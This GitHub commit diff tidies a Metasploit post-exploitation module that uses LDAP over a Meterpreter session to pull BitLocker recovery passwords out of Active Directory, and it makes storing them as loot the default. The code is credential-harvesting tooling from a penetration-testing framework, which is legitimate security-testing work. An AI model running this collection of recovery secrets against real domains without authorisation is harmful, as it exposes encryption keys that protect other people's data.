Skip to content

Commit 7e5b03c

Browse files
committed
Tidyup and update for new ADSI format
1 parent 0d81ad4 commit 7e5b03c

File tree

1 file changed

+28
-39
lines changed

1 file changed

+28
-39
lines changed

modules/post/windows/gather/enum_ad_bitlocker.rb

Lines changed: 28 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -8,69 +8,60 @@
88
require 'msf/core/auxiliary/report'
99

1010
class Metasploit3 < Msf::Post
11-
1211
include Msf::Auxiliary::Report
1312
include Msf::Post::Windows::LDAP
1413

15-
def initialize(info={})
16-
super( update_info( info,
17-
'Name' => 'Windows Gather Active Directory Bitlocker Recovery',
18-
'Description' => %Q{
19-
This module will enumerate bitlocker reocvery passwords in the default AD
20-
directory. Requires Domain Admin or other delegated privileges.
21-
},
22-
'License' => MSF_LICENSE,
23-
'Author' => [ 'Ben Campbell <ben.campbell[at]mwrinfosecurity.com>' ],
24-
'Platform' => [ 'win' ],
25-
'SessionTypes' => [ 'meterpreter' ],
26-
'References' =>
27-
[
28-
['URL', 'tbc'],
29-
]
30-
))
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Windows Gather Active Directory Bitlocker Recovery',
17+
'Description' => %(
18+
This module will enumerate bitlocker reocvery passwords in the default AD
19+
directory. Requires Domain Admin or other delegated privileges.
20+
),
21+
'License' => MSF_LICENSE,
22+
'Author' => [ 'Ben Campbell <ben.campbell[at]mwrinfosecurity.com>' ],
23+
'Platform' => [ 'win' ],
24+
'SessionTypes' => [ 'meterpreter' ],
25+
'References' =>
26+
[
27+
['URL', 'https://technet.microsoft.com/en-us/library/cc771778%28v=ws.10%29.aspx']
28+
]
29+
))
3130

3231
register_options([
33-
OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]),
32+
OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]),
3433
OptString.new('FIELDS', [true, 'FIELDS to retrieve.', 'distinguishedName,msFVE-RecoveryPassword']),
3534
OptString.new('FILTER', [true, 'Search filter.', '(objectClass=msFVE-RecoveryInformation)'])
3635
], self.class)
3736
end
3837

3938
def run
40-
fields = datastore['FIELDS'].gsub(/\s+/,"").split(',')
39+
fields = datastore['FIELDS'].gsub(/\s+/, "").split(',')
4140
search_filter = datastore['FILTER']
4241
max_search = datastore['MAX_SEARCH']
4342
q = query(search_filter, max_search, fields)
4443

45-
if q.nil? or q[:results].empty?
44+
if q.nil? || q[:results].empty?
45+
print_status('No results found...')
4646
return
4747
end
4848

4949
# Results table holds raw string data
5050
results_table = Rex::Ui::Text::Table.new(
51-
'Header' => "Bitlocker Recovery Passwords",
52-
'Indent' => 1,
53-
'SortIndex' => -1,
54-
'Columns' => fields
55-
)
51+
'Header' => 'Bitlocker Recovery Passwords',
52+
'Indent' => 1,
53+
'SortIndex' => -1,
54+
'Columns' => fields
55+
)
5656

57-
# Reports are collections for easy database insertion
58-
reports = []
5957
q[:results].each do |result|
6058
row = []
6159

62-
report = {}
63-
0.upto(fields.length-1) do |i|
64-
if result[i].nil?
65-
field = ""
66-
else
67-
field = result[i]
68-
end
69-
70-
row << field
60+
result.each do |field|
61+
field_value = (field.nil? ? '' : field[:value])
62+
row << field_value
7163
end
7264

73-
reports << report
7465
results_table << row
7566
end
7667

@@ -80,6 +71,4 @@ def run
8071
print_status("Results saved to: #{stored_path}")
8172
end
8273
end
83-
8474
end
85-

0 commit comments

Comments
 (0)